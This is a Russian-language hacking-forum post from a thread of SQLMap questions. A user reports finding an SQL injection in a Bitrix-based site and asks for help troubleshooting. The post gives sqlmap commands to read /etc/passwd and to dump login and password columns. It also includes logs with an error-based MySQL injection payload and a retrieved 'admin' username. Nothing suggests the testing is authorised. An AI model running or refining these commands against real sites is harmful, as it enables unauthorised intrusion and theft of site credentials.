Вопросы по SQLMap

#11

13.07.2018, 02:18

mardoksp

Новичок

Регистрация: 08.04.2007

Сообщений: 7

Провел на форуме:
20649

Репутация: 0

разобрался с этим сайтом

Теперь вопрос про другой сайт. Нашел дыру (на битриксе).

Но не могу прочитать файлы, т.е. как обычно делаю --file-read='/etc/passwd', но выдает ошибку

Похожа ошибка была на другом сайте, она появлялась тогда, когда файл отсутствовал по указанному пути

.SpoilerTarget" type="button">Spoiler: Log

Код:

[17:30:10] [INFO] resuming back-end DBMS 'mysql'
[17:30:10] [INFO] testing connection to the target URL
[17:30:12] [CRITICAL] page not found (404)
it is not recommended to continue in this kind of cases. Do you want to quit and make sure that everything is set up properly? [Y/n] n
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: SECTION_ID (GET)
    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: ID=1) OR (SELECT 9559 FROM(SELECT COUNT(*),CONCAT(0x7176717a71,(SELECT (ELT(9559=9559,1))),0x716b6a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- SAhe
---
[17:30:14] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0
[17:30:14] [INFO] fingerprinting the back-end DBMS operating system
[17:30:14] [INFO] the back-end DBMS operating system is Linux
[17:30:14] [INFO] fetching file: '/etc/passwd'
[17:30:14] [INFO] resumed:
[17:30:14] [WARNING] there was a problem decoding value ' ' from expected hexadecimal form
do you want confirmation that the remote file '/etc/passwd' has been successfully downloaded from the back-end DBMS file system? [Y/n] y
[17:30:21] [INFO] retrieved:
[17:30:21] [WARNING] it looks like the file has not been written (usually occurs if the DBMS process user has no write privileges in the destination path)
files saved to [1]:[*] /root/.sqlmap/output/site/files/_etc_passwd (size differs from remote file)

[17:30:21] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 1 times

404 (Not Found) - 1 times ошибка выдается, скорее всего, по причине того, что при открытии страницы с sql-inject он отдает json но с HTTP CODE = 404

Теперь остается узнать какой параметр добавить, чтобы не было

Цитата:

Сообщение от None

[WARNING] there was a problem decoding value ' ' from expected hexadecimal form[*] /root/.sqlmap/output/site/files/_etc_passwd (size differs from remote file)

Ладно /etc/passwd может быть закрыт, но файлы битрикса хоть какие-то уже должен прочитать.

И в продолжении, в чем может быть причина, если это не отрабатывает

Код:

sqlmap -u site/inject.php?ID=1 -D database -T table_login -C LOGIN,PASSWORD --dump

И выдает ошибку

Цитата:

Сообщение от None

[WARNING] unable to retrieve the entries of columns 'LOGIN, PASSWORD' for table 'table_login' in database

А вот это отрабатывает

Цитата:

Сообщение от None

sqlmap -u site/inject.php?ID=1 --sql-query="select login from table_login where id=1"

.SpoilerTarget" type="button">Spoiler: Log2

Код:

[17:49:02] [INFO] resuming back-end DBMS 'mysql'
[17:49:02] [INFO] testing connection to the target URL
[17:49:04] [CRITICAL] page not found (404)
it is not recommended to continue in this kind of cases. Do you want to quit and make sure that everything is set up properly? [Y/n] n
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: SECTION_ID (GET)
    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: ID=1) OR (SELECT 9559 FROM(SELECT COUNT(*),CONCAT(0x7176717a71,(SELECT (ELT(9559=9559,1))),0x716b6a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- SAhe
---
[17:49:06] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0
[17:49:06] [INFO] fetching SQL SELECT statement query output: 'select login from table_login where id=1'
[17:49:08] [INFO] used SQL query returns 1 entries
[17:49:09] [INFO] retrieved: admin
select login from table_login where id=1:    'admin'
[17:49:09] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 1 times

Кодировка db - utf8